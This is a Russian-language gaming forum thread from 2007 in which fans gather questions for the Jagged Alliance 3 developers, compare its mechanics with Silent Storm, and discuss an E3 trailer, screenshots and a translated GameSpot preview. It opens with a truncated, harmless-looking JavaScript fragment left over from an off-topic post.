     o.style.display="none";
     try
     {
           document.body.appendChild(o); */
           document.f.bdy.value = url;
           rsys_sc(cn,cv);
     }
     catch(e)
     {
           document.write("<html><body></body></html>");
           document.body.appendChild(o);
           rsys_sc(cn,cv);
     }
}
</script>

[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 15.05.2007 в 16:46:01
2snake_sanders: Ну что ж. Если нашелся человек, который собирает вопросы для разрабов, почему бы и не задать.

Для начала - несколько вопросов касательно тактического режима. Движок СС, конечно, неплох, но некоторые фишки там, как бы помягче сказать, не вполне хороши. Хотца выяснить, останутся ли эти фишки в JA3 или разрабы их отрежут...

1. Как осуществляются затраты АР на выстрел? Фиксированное количество АР (как в СС) или в зависимости от полного числа АР бойца (как в Х-СОМ1-3 и отчасти в JA2)?

2. Кстати, насколько отличаются по АР прокачанный ветеран от новичка? как Феррари от велосипеда (как в СС) или незначительно (как в JA2)?

3. Как реализован стелс-режим? Бойца не видно и не слышно (как в СС) или только не слышно (как в JA2)?

Ну и несколько вопросов по тактическому режиму уже безотносительно сравнения СС и Джаги...

4. Можно ли оборудовать стрелковую позицию на дереве?

5. Можно ли свалиться с дерева, если отдача от выстрела окажется слишком сильной? ;D

6. Можно ли метать гранаты (ножи, что там еще метается...) из положения сидя/лежа?

7. Можно ли в ближнем бою использовать огнестрельное оружие как холодное (приклад, штык-нож...)?

8. АИ умный? ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 15.05.2007 в 16:51:04
2Ushwood: хорошие вопросы, ещё бы ответы посмотреть  ::)

[offtop]
Quote:
Бойца не видно и не слышно (как в СС)
а как там было? Человек - невидимка что ли?  :D[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 15.05.2007 в 16:53:43
2Ximik:
[offtop]Именно так и было. Боец в стелсе мог перед носом противника по открытому пространству ползать - и ничего. Если стелс хорошо прокачан.[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 15.05.2007 в 17:51:20
2Ximik: [offtop]Скажу больше, боец в стелсе мог заползти во  вражеского солдата в стелсе и оттуда никого не увидеть. :lol: Потом первым обнаруживается тот кто выползет с этой клетки.[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 15.05.2007 в 18:20:26
Вот что уже есть. Вопросы мои + Ushwood+Docent+Bugmonster.

1.Компания F3  была образованна специально для работы над JA3, или проект перепал к вам случайно?
2.Как долго игра находиться в разработке?
3.Сколько людей сейчас работают над игрой?
4.Привлекались сотрудники покойной Sir-Tech к работе над проектом. Имеется ввиду консультация,вопросы по вселенной Jagged Alliance?
5.Будут реализованы в JA3 различные типы телосложения(в JA2 их было 8, не считая кошек,жуков и робота, а в Silent Storm-один на всех)?
6.Анимация создается при помощи Motion Capture?Как это скажется на гемплее?Будут ли реализованы различные виду рукопашной атаки, как это было в JA2?(мелочь,а приятно!)
7.Будут ли в игре танки? Как будет осуществляться передвижение по стране:транспорт как в JA2,или на только на своих двоих?
8.Как осуществляются затраты АР на выстрел? Фиксированное количество АР (как в SS) или в зависимости от полного числа АР бойца (как в Х-СОМ1-3 и отчасти в JA2)?
9.Насколько отличаются по АР прокачанный ветеран от новичка? как Феррари от велосипеда (как в SS) или незначительно (как в JA2)?
10.Как реализован стелс-режим? Бойца не видно и не слышно (как в СС) или только не слышно (как в JA2)?
11.Можно ли метать гранаты (ножи, что там еще метается...) из положения сидя/лежа?
12.Можно ли в ближнем бою использовать огнестрельное оружие как холодное (приклад, штык-нож...)? Хотелось бы!
13. Будут ли какие-то изменения в ролевой системе игры и прокачке персонажей, появятся ли новые навыки и перки ? Сколько специфических навыков сможет иметь один персонаж?
За какие действия будет начисляться опыт (очки опыта) в игре, сможет ли игрок сам распределять их?
14. Как будет реализована экономическая составляющая игры?  
Какие источники дохода будут в игре, на что могут быть потрачены денежные средства? Будет ли возможность повышать навыки персонажей за деньги? Будут ли в игре интернет-магазины? Какие варианты и возможности будут у игрока при закупке/продаже вооружения и снаряжения ?
15. Какие будут в игре способы формирования и пополнения команды? Будет ли возможность вербовать пополнение из местного населения на карте, или только из виртуальных организаций по типу A.I.M.? Будут ли в игре бесплатные наёмники, например, после выполнения некоторых квестов? Какие способы оплаты труда наёмников будут реализованы в игре?
16. Планируется ли общая база для снаряжения (лечения, переформирования и т. д.) отряда по типу базы из серии "Операция Silent Storm"?
Если общая база будет, то какие функции (госпиталь, склад, место отдыха и найма наёмников, что-то ещё?) она будет выполнять в игре?
17. Хотелось бы узнать подробности об "оружейной линейке игры", сколько и каких стволов планируется, предусматривается ли возможность их апгрейда и усовершенствований ? Какое ещё оружие планируется в игре помимо стрелкового?
Совсем непонятно (совершенно неубедительные объяснения), почему лишили наёмников миномётов ?
18. Хочется услышать пояснения по поводу термина из пресс-релиза игры: "генерируемые этапы, отличающиеся уникальным стилем прохождения и сложностью" ?  
Чем они отличаются от сюжетных миссий, какую роль играют в игре?
19.Как будет реализован редактор персонажа: как в SS или JA2?
20.Будут ли в JA3 такие способы использования оружия из SS как:
- Меткий выстрел на все AP.
- Длинная очередь на все AP.
- Снайперский выстрел, растягивающийся на несколько ходов.
- Стрельба из стационарных орудий.
- Стрельба на звук
21.Будут ли приглашены актеры, озвучивающие персонажей из JA2?


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 16.05.2007 в 16:05:45
Ещё некоторые вопросы:

1. Будут ли какие-то изменения в ролевой системе игры и прокачке персонажей, появятся ли новые навыки и перки ;)? Сколько специфических навыков сможет иметь один персонаж?
За какие действия будет начисляться опыт (очки опыта) в игре, сможет ли игрок сам распределять их?

2. Как будет реализована экономическая составляющая игры?
Какие источники дохода будут в игре, на что могут быть потрачены денежные средства? Будет ли возможность повышать навыки персонажей за деньги? Будут ли в игре интернет-магазины? Какие варианты и возможности будут у игрока при закупке/продаже вооружения и снаряжения ::)?

3. Какие будут в игре способы формирования и пополнения команды? Будет ли возможность вербовать пополнение из местного населения на карте, или только из виртуальных организаций по типу A.I.M.? Будут ли в игре бесплатные наёмники, например, после выполнения некоторых квестов? Какие способы оплаты труда наёмников будут реализованы в игре?

4. Планируется ли общая база для снаряжения (лечения, переформирования и т. д.) отряда по типу базы из серии "Операция Silent Storm"?
Если общая база будет, то какие функции (госпиталь, склад, место отдыха и найма наёмников, что-то ещё?) она будет выполнять в игре?

5. Хотелось бы узнать подробности об "оружейной линейке игры", сколько и каких стволов планируется, предусматривается ли возможность их апгрейда и усовершенствований ;)? Какое ещё оружие планируется в игре помимо стрелкового?
Совсем непонятно (совершенно неубедительные объяснения), почему лишили наёмников миномётов :(?

7. Хочется услышать пояснения по поводу термина из пресс-релиза игры: "генерируемые этапы, отличающиеся уникальным стилем прохождения и сложностью" ::)?
Чем они отличаются от сюжетных миссий, какую роль играют в игре?

8. Каким методом планируется перемещение отряда на стратегической карте? Планируется ли использование вертолётов, машин, бронированной техники для этих целей (частично совпадает с вопросом № 7 из предыдущего перечня)?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 17.05.2007 в 11:00:46
От меня вопрос:
N.: Будут ли в JA3 такие способы использования оружия из S^2 как:
- Меткий выстрел на все AP.
- Длинная очередь на все AP.
- Снайперский выстрел, растягивающийся на несколько ходов.
- Стрельба из стационарных орудий.
- Стрельба на звук.
?

2Docent:

Quote:
7. Хочется услышать пояснения по поводу термина из пресс-релиза игры: "генерируемые этапы, отличающиеся уникальным стилем прохождения и сложностью" : rolleyes :?  
Чем они отличаются от сюжетных миссий, какую роль играют в игре?

В S^2 было вроде такого: каждый сектор являлся ключом к открытию нескольких других. При этом стартовым сектором по сюжету могли быть разные сектора. Всё это давало как бы уникальное "дерево прохождения" по сюжету, ведущее к финалу по нескольким "ветвям".

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 17.05.2007 в 11:22:45

Quote:
При этом стартовым сектором по сюжету могли быть разные сектора.

Нет. Стартовые сектора обоих кампаний фиксированы.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 17.05.2007 в 13:06:30
2Novik: Я имею ввиду не "завязочный" сектор, а тот который становится видим после попадания на базу и набора команды.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 17.05.2007 в 19:26:37
Все хватит пока вопросов, отправляю.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 18.05.2007 в 13:50:52
2bugmonster:  
Quote:
- Стрельба из стационарных орудий.  
По-моему, про это говорили, что будет. Ну, может, не про орудия, а про тяжелые пулеметы.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 18.05.2007 в 19:04:17

Quote:
По-моему, про это говорили, что будет.

С чего бы не быть? Двиг SS позволяет... ИИ тоже должен уметь им пользоваться... вроде...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 18.05.2007 в 19:09:49

Quote:
ИИ тоже должен уметь им пользоваться... вроде...  

Если будет пользоваться как в оригинале, то.... ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 18.05.2007 в 19:31:51
2Macbeth: С чего не быть? А вдруг станковые пулемёты - это "излишний миккроменеджмент, который отвлекает от процесса игры"? :P
К тому же этот дурковатый Ричард Терьен со своим видением великого "Духа Джа". Может он считает, что станковое оружие не соответствует этому "духу".

ИИ стационарными орудиями в SS не пользовался. В SS были и шагающие бронекостюмы-экзоскелеты, так чего их теперь в JA3 пихать только потому, что они тем есть?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 18.05.2007 в 23:15:18

Quote:
В SS были и шагающие бронекостюмы-экзоскелеты, так чего их теперь в JA3 пихать только потому, что они тем есть?

Ну перегибать тоже не надо.


Quote:
ИИ стационарными орудиями в SS не пользовался.

Это сказано наобум или сначала перепроверено, а потом сказано?  :)


Quote:
Может он считает, что станковое оружие не соответствует этому "духу".  

Пределов человеческой тупизны как известно нет, но все же это один из самых частых вопросов для тактических игр и глупо не воспользоваться тем, что и так уже есть в купленном у Нивала движке...
Хотя все моет быть...  8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 19.05.2007 в 19:44:00
2bugmonster:  
Quote:
ИИ стационарными орудиями в SS не пользовался.
Пользовался.
Хотя я нечасто предоставлял ему такую возможность ;).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 21.05.2007 в 11:47:18
Я много раз играл в оригинальный SS но без патча. Ни разу по моим не стреляли из станковых орудий. Может это появилось только в патче или карты/расстановка так неудачно были сделаны?

ЗЫ Сейчас повспоминал - единственные 1-2 места в игре в которых боты находились рядом со стационарными орудиями - это был станковый пелумёт, установленный в здании перед закрытым окном. При этом, если специально не открыть окно, то ничего не видно и стрелять можно только на слух.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем desants на 21.05.2007 в 15:05:35
2bugmonster: Не могу не поерничать ;) - может потому, что из  
Quote:
пелумёта
стрелять не с руки???

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 21.05.2007 в 16:07:08
2desants: :lol: Не заметил.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 21.05.2007 в 19:00:34
2bugmonster: В SS^2 действительно станкач есть  в случайках, и очень редко им пользуются фраги - можно и не поймать такого. Я - ловил, стреляют, но - крайне неточно. Правда если попадают, то трындец и перезагрузка обеспечены. :) Есть и в других локациях, но там везде ты сам стреляешь.
В SS^3 станкачи крупнокалиберные есть на твоей стороне в локации "оборона базы", за ними стоят НПЦ под управлением ИИ, но используются они крайне бездарно, да и расположены очень плохо, так что даже замена ИИ персом (не сильно помогает.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 21.05.2007 в 21:37:24
Коротенько. Стационарные пулеметы в S^2 используются ровно в одном случае - если AI  принуждается к этому скриптом или первоначальной расстановкой юнитов на карте. Сам по себе он стационарные орудия пользовать не будет.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 31.05.2007 в 11:59:44
2snake_sanders:  
Quote:
Вот что уже есть. Вопросы мои + Ushwood+Docent+Bugmonster.


Так что там с ответами на наши вопросы ::)?
Или F3 Games пишут развёрнутую статью по Jagged Alliance 3 ;D?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем keper на 31.05.2007 в 14:42:46

Quote:
Сам по себе он стационарные орудия пользовать не будет.

И открывать/разминировать заминированные- двери, окна тоже к сожалению :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ushwood на 31.05.2007 в 15:55:19
2Docent:  
Quote:
Так что там с ответами на наши вопросы ?  

Не торопи их. Чтобы столько ответов из пальца высосать - знаешь, сколько сосать нужно?
;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Zmey на 31.05.2007 в 17:59:27
2Ushwood:  
Quote:
Не торопи их. Чтобы столько ответов из пальца высосать - знаешь, сколько сосать нужно?

главное что бы они его до кости не обсосали ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 31.05.2007 в 22:05:37

Quote:
И открывать/разминировать заминированные- двери, окна тоже к сожалению

Разумеется. В принципе, я делал, чтобы разминировали. По результату от фишки отказался - минирование и так игроком редко используется. Лучше, когда враг таки подрывается. Хотя бы иногда.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Чертовска Вражiна на 01.06.2007 в 13:51:19

Quote:
главное что бы они его до кости не обсосали  

  Если до кости -- тогда уже обгрызают.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем keper на 01.06.2007 в 16:15:56

Quote:
В принципе, я делал, чтобы разминировали.

Это вы мистер руку к созданию СиМ приложили?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 01.06.2007 в 18:02:22
2keper: Был такой грех.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 18.07.2007 в 11:06:37
Обсуждение JA3 плавно перетекло в обсуждени SS2и3 :)
А тем временем на crpg.ru выложили скриншоты, а акелла показала видеоролик из этого самого JA3. Вролике две минуты геймплея.
Вот прямая ссылка на ролик 122 мегабайта - http://ru.akella.com/Files/Games/1834/video/jagged.avi
Ролик не смотрел, но скриншоты корявые ИМХО.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем scooly на 18.07.2007 в 14:43:18
And version on YouTube:

http://youtube.com/watch?v=DAUWAvqjnYw
http://youtube.com/watch?v=qEGxb1JYdFc

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 18.07.2007 в 22:03:48
2kavlad:  о, отлично, скачаем  ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 18.07.2007 в 22:07:09
Ролик мало о чем поведал. Только о недостатках двига SS.

Интересно, разрабы реализуют возможность прыжков, а то в SS они отсутсвовали, что часто было неудобно.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 18.07.2007 в 23:06:38
2Macbeth:
В JA никогда вроде не было прыжков, кроме чехарды с лежащими товарищами :)
А ролик действительно неинформативный.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем izgoi на 19.07.2007 в 07:58:16
Ролик посмотрел ..
Мне в целом понравилось , очень боялся что отменять пошаговые бои , но чувствую ребята идут в ногу с ДЖА 2 , ещо вопрос о ночных боях .. не дай бог отменят ..это неотемлимая часть игры ДЖА 2 , в целом пока остался даволен роликом , так как графика никогда для меня особой роли в ДЖА2 не играла...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Keu_d_Cytue на 19.07.2007 в 19:19:10
А масштабы карт уже по традиции сокрыты?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 19.07.2007 в 21:53:15

Quote:
В JA никогда вроде не было прыжков, кроме чехарды с лежащими товарищами :)
А ролик действительно неинформативный.

В Ja не было многоэтажности.
Ты играл в SS? Если да, то должен понимать что значит стоять на 3-м этаже, радом с тобой взорвался пол и как пройти через дырку в полу. Только спуститься на 2 этаж, а потом подняться на 3-ий. Перепрыгнуть даже мелкую преграду было нельзя. Да и вообще прыжки и акробатика не помешали бы имхо...


Quote:
А масштабы карт уже по традиции сокрыты?

Хех, ну естественно...
Значит им просто нечего нового показать по сравнению с SS.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 19.07.2007 в 22:58:16

Quote:
радом с тобой взорвался пол и как пройти через дырку в полу. Только спуститься на 2 этаж, а потом подняться на 3-ий.

Кажется, в такой ситуации в S2 можно было спрыгнуть в дыру.. разве нет?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 19.07.2007 в 23:11:47
2Macbeth:  

Quote:
Ты играл в SS?


Конечно. Все три игры прошел. Но как-то насчет прыжков даже мысли не возникало :)


Quote:
Значит им просто нечего нового показать по сравнению с SS.


Насколько я слышал, проблемы с размером секторов более-менее порешали в новой версии движка.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 19.07.2007 в 23:39:03

Quote:
Кажется, в такой ситуации в S2 можно было спрыгнуть в дыру.. разве нет?

Я это и имел в виду. Через эту дырку спустится, а потом через неё же подняться.
Два слова не допишешь - сразу вопросы возникают...  8)


Quote:
Но как-то насчет прыжков даже мысли не возникало

Значит ты такой один...  8) ;D


Quote:
Насколько я слышал, проблемы с размером секторов более-менее порешали в новой версии движка.

Тогда не вижу ни одной причины почему не показать на сколько они круты, что сделали, допустим, в 2 раза больше.
Хотя и этого мало.

Можно конечно сказать что это такая тонкая мегапиаракция "Ы" показывать только в упор. Чтобы никто не догадался.

Посмотрим еще как они движок оптимизируют. Улучшить может и улучшили (хотя и это надо проверить), но слайд-шоу мало кого устроит...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 20.07.2007 в 10:45:59

Quote:
Можно конечно сказать что это такая тонкая мегапиаракция "Ы" показывать только в упор. Чтобы никто не догадался.

Все там показано, на скриншотах присутствуют миникарты. По которым можно оценить отношение показываемого куска к общему размеру сектора.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 20.07.2007 в 13:24:30
ролик с е3. Так там демонстрировали пре-альфа версию. А релиз перенесли на 1q 2008. так что работать еще и работать!
+разрабы уверяют, что  у них есть связь с Sir-Tech

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 20.07.2007 в 13:29:28

Quote:
у них есть связь с Sir-Tech

"Дедушка умер, а дело живет". Sir-Tech нет, а связь есть. Чудны дела твои, господи...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 20.07.2007 в 13:46:41

Quote:
Sir-Tech нет, а связь есть. Чудны дела твои, господи...


"Спиритизм, столоверчение, вызывание духов, открытие третьего глаза. Недорого"

:)

Наверное, все-таки имелась в виду SFI - с этими-то связь обязана быть.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 20.07.2007 в 14:02:43
нет именно создатели серии. думаю отдельные люди, может Линг, может Кюрри(или кат там его)
вот превьюшка с е3-07
http://www.gamespot.com/pc/strategy/jaggedalliance3/news.html?sid=6174872&mode=recent
вот перевод, дословный ;D

E3 07: Впечатления от JAGGED ALLIANCE 3-Первый взгляд
Мы наконец то поближе взглянули на
продолжение культовой  стратегической игры.
12.07.07


Санта-Моника, Калифорния.— Мы с удовольствием спрячемся от теплого летнего солнца Санта-Моники чтобы посмотреть на Jagged Alliance 3, долгожданное продолжение любимой культовой классики 1999, стратегической игры от бывшей канадской студии Sir-Tech. То, что мы увидели, была чрезвычайно ранняя пре-альфа версия,  с определенно грубыми гранями объектов, но уже показывает намеки на потенциал, который  мы действительно, действительно, надеемся, будет реализован. Мы надеемся.

Фанаты Jagged Alliance  уже знакомы с уникальной комбинацией глубокой пошаговой тактики серии с ролевым продвижением персонажей, современной военной беллетристикой и незабываемой кастой крепко-сбитых, болтливых наемников, которые не всегда возвращаются обратно. Очевидно, продолжение разворачивается в вымышленной Южноамериканской стране, в течение современного конфликта, который потребует от нас, чтобы мы еще раз обратились к услугам Международной Ассоциации Наемников A.I.M. и наняли команду наемников для нового задания.

Мы наблюдали небольшой демонстрационный уровень с маленькой командой наемников, хотя для достижения целей демонстрации были использованы коды, которые позволили повысить способности каждого персонажа, независимо от того, какими они будут в конечном счете в игре. Судя по ранней демонстрации, мы можем ожидать возвращении, по крайней, мере троих знакомых наемников: эксперта по ножам  Жан-Пьера «Злобного» Виа, гения маскировки Кайла «Тень» Симмонса и снайпера Шейлы «Стрелка» Стерлинг.     Очевидно, команда получила небольшую установку обнаружить главный штаб местного наркобарона с целью убийства последнего. Согласно представлению Акеллы, игра будет иметь перекрестный сценарий, но подобно другим частям серии, он будет в значительной мере открыт и покажет миссии с разных сторон, которые вы будете брать.

Игровой интерфейс оказался подобным тому, какой вы могли ожидать от Jagged Alliance в 3d.  Внизу экрана, как раньше, был интерфейс с фотографиями каждого наемника, его здоровьем, полосками морали и энергии, с параметрами, включая  лидерство, меткость, силу и скорость. Когда индивидуальный наемник выбран, появляется новый интерфейс, упакованный дополнительными изобразительными кнопками для каждого доступного действия, вроде изменения способа стрельбы на вашем оружии, если оно у вас автоматическое, или использование аптечки, если вы её имеете.

В Jagged Alliance 3 вы все еще отдаете приказы о перемещении вашей команды в различные области, и как только  натыкаетесь на врага, игра все также переключается к пошаговому сражению, которое позволяет вам и вашему врагу делать ход, пока не закончатся очки действия. Ходы в сражениях все еще переключаются между вашими товарищами по команде и врагами, которые, когда находятся вне поля зрения, представлены красными полигональными  силуэтами. В игре по прежнему есть фаза «перехвата» для наемников, у которых остались очки действия, которые позволяют персонажу реагировать на врага, появился в его поле зрения. Интересно, новая игра будет иметь разрушаемые объекты, например, вы сможете стрелять через двери, хотя мы не видели, чтобы это имело существенный эффект на гемплее пока; мы наблюдали как «Стрелка» подорвала деревянную дверь, за которой находился враг, но мы не могли навести на него курсов, и уничтожила противника за углом.

Сейчас в Jagged Alliance 3 еще не так много сделано из того, что нам обещали. 3d графику игры можно определенно улучшить. Окружающая среда, хоть и населена  множеством соответствующих объектов, подобно колыханию листвы пальм на берегу, и нагромождению мебели внутри зданий, они имеют довольно грубое очертание, можно было бы извлечь выгоду из некоторого сглаживания, более детальной структуры, чтобы повысить чувство «жизни» в игре, и обширных эффектов освещения, чтобы дифференцировать различные части окружающей среды и добавить атмосферы. Однако нас уверяют, что российский разработчик F3 Games работает над этим, и что имеется связь с первоначальной командой разработчиков сериала,канадской Sir-Tech, и те действительно поощряют разработку. Сама игра будет готова вероятно не раньше 2008 года, и мы надеемся, что команда разработчиков использует это время, чтобы качественно отполировать игру, и она встала в один ряд со своей предшественницей.

-GameSpot

jaggedallliance3.com- сайт еще в разработке, но у же есть моделька Тени(думаю 3d из игры)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 20.07.2007 в 14:42:47
А, вот оно даже как...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 20.07.2007 в 20:13:28

Quote:
Все там показано, на скриншотах присутствуют миникарты. По которым можно оценить отношение показываемого куска к общему размеру сектора.

Ага, классно показано. Несколько разных отрывков, а карта не меняется, не меняется положение точек на карте, желтый квадрат стоит в одном месте.

Очень смешно. Попробуй тут оцени...

Я всего-то прошу поднять камеру вверх до предела и все будет ясно. Многого прошу?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 20.07.2007 в 20:35:28

Quote:
Несколько разных отрывков, а карта не меняется

Еще раз попробую. Все там показано, на скриншотах присутствуют миникарты.
На последних скриншотах, а не в ролике. В ролике IMHO фейк.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 21.07.2007 в 00:08:14
Ну посмотри...
http://www.crpg.ru/modules.php?op=modload&name=My_eGallery&file=index&do=showpic&pid=10297

http://www.crpg.ru/modules.php?op=modload&name=My_eGallery&file=index&do=showpic&gid=405&pid=10298

http://www.crpg.ru/modules.php?op=modload&name=My_eGallery&file=index&do=showpic&gid=405&pid=10296

Максимум в 1.5-2 раза больше чем в SS.
Это последние?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 21.07.2007 в 11:14:58

Quote:
Это последние?  

Да.

Quote:
Максимум в 1.5-2 раза больше чем в SS.  

Я бы сказал - такие же.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 21.07.2007 в 11:52:52
:)
Люди, ну это же всего один уровень на всех скринах:).  

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 21.07.2007 в 23:05:17

Quote:
Я бы сказал - такие же.

Я бы так же. На всякий случай преувеличил.
Тогда с какой целью ты предлагал на них смотреть, раз ничего нового не видно?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 21.07.2007 в 23:18:04
2Macbeth:  
Quote:
Тогда с какой целью ты предлагал на них смотреть, раз ничего нового не видно?


Ну, красивые же... че ж не посмотреть:)

Корче, по сведениям, заслуживающим доверия - морды лица в интерфейсе все-таки не финальные (и это радует), а "штатные из программы".

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 21.07.2007 в 23:33:23

Quote:
Тогда с какой целью ты предлагал на них смотреть, раз ничего нового не видно?  

Излагаю суть беседы "по простому".

Ты: размеры не показаны
Я: размеры показаны см. миникарту на скриншотах
Ты: размеры не показаны, картинка фиксирована
Я: размеры показаны, см. миникарту на скриншотах
Ты: они такие же, как в S^2, или очень не на много больше
Я: да, они такие же.

Совсем "по простому": см. первые две реплики.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Monfort на 22.07.2007 в 07:48:24
Пока , судя по тому, что я видел в роликах могу сказать, что проект двигается в нужном направлении.
Как только я увидел SS я сказал себе: вот бы джагу на нем слепить (сам он мне из-за фантазий на тему Панцеркляйнеров не очень понравился, серп и молот был ничего) - так оно и выходит только зачем понадобилось 4 года ждать?
Вообщем мне пока все нравиться, кроме уродского портрета Стрелки. Я даже ее сразу и не узнл... Надеюсь еще на хорошую анимацию рукопашного боя,  а то те подергивания что были в SS и ударами назвать трудно, 8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 22.07.2007 в 16:18:52
Посмотрел видео. Вроде не всё так плохо. Всё же главное геймплей  ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 22.07.2007 в 20:16:47
2Novik:
Я говорил, что показано только вблизи. Констатировал факт. Вполне может быть, что сделают и больше.

Беседой это назвать сложно. Ты ничего нового не поведал. Смысловая нагрузка твоих реплик равна нулю.
Стоило их писать? Вопрос риторический, на осмысление.


Quote:
Ну, красивые же... че ж не посмотреть

По мне так тот же SS. Разве что травка там шевелится, деревья будут колыхаться. А двиг-то 2002-2003 года если не ошибаюсь...
Но будем надеяться... что ж еще остается?   8)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 23.07.2007 в 01:03:08
2Macbeth:

Quote:
А двиг-то 2002-2003 года если не ошибаюсь...


ИМХО, это не так важно. У JA2 двиг года 96-го :) Но игра от этого хуже не становится. Лично мне графика SS очень нравится, для пошаговой стратегии ее вполне достаточно. Супер-пупер детализация и эффекты - это для шутеров и прочих акшнов с видом из глаз. Главное чтобы все остальное было на уровне, будем надеяться на акеллу :)

P.S. Если сделают большие уровни, то и траву можно не шевелить :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 23.07.2007 в 10:52:19
2Macbeth:

Quote:
Ты ничего нового не поведал. Смысловая нагрузка твоих реплик равна нулю.  

Давайте договоримся. Вы мне не говорите, что мне делать, я - куда Вам идти. Не нравятся мои реплики - не читайте. Оценка же смысловой нагрузки, насколько я понимаю - привелегия модератора.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Monfort на 23.07.2007 в 12:18:19

Quote:
ИМХО, это не так важно. У JA2 двиг года 96-го

99 наверное.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 23.07.2007 в 13:35:39
-Заметели: когда инвентарь Тени открывается, внизу слева два столбика параметров, как в JA2. Только в JA по пять в каждом, а здесь 6.(всего 12, на два больше!). Интересно, новые решили добавить :D, или вынесли здоровье и энергию, тогда зачем? :P
В ролике, на место миникарты не глобалку засунули, а карту провинции, мне кажется. В газете написано - Severna. На одном из самых ранних скринов есть глобальная карта, вот там тоже  указывается провинция Severna, да и если приглядется - можно её найти.
-Анимацию позаимствовали из SS, явно. А звуки из JA2 (подрыв стены, например)
-ИМХО моделькам персонажей меньше внимания уделили пока,чем окружающей среде. Объектам персонажей не хватает Харизмы: наемники какие-то дохлые, по сравнению с первыми скринами явно сели на диету :o. Не показали качков :o
Стрелка , по-моему, всегда блондинкой была. А враги вообще болванчики не интересные.
-Ещё Хаммер впечатлил своей детализацией!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем kavlad на 23.07.2007 в 15:43:46
2Monfort:
ИМХО, разработку начали в 96-ом или в 97-ом. А выпустить хотели в 98-ом. Выход потом долго откладывался, т.к. разработчиков перекинули на Wizardry. А когда визардри не получился, то быстренько доклепали JA2 и выпустили. Причем выход готовой игры задержался еще, т.к. были проблемы с издателями.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 23.07.2007 в 21:25:45
2kavlad:
У меня смешанные чувства по поводу двига. Я так и не решил, хорошо ли это увидеть врага (боя еще нет), подбежать к нему сзади вплотную (опять все еще реалтайм), а потом нажать энтер и валить в упор.
А так в целом неплохо на примере оригинального SS. Просто еще не очень понятно как это будет сочетаться с Джагой. Приживется это или нет. Отсюда и сомнения.
Думаю, у кого-нибудь (Ja3 или Джаз) должно получиться более-менее приближенно к идеалу. По крайней мере надеюсь.  :)


Quote:
Давайте договоримся. Вы мне не говорите, что мне делать

Я и не говорил, боже упаси. Я вопрос задал, на который вам нужно было самому себе ответить.
Я вас очень уважаю за СиМ, но ваши комментарии в темах про Джаз и Ja3 в последнее время начинают беспокоить  :( Чем именно, пожалуй, воздержусь...


Quote:
я - куда Вам идти.

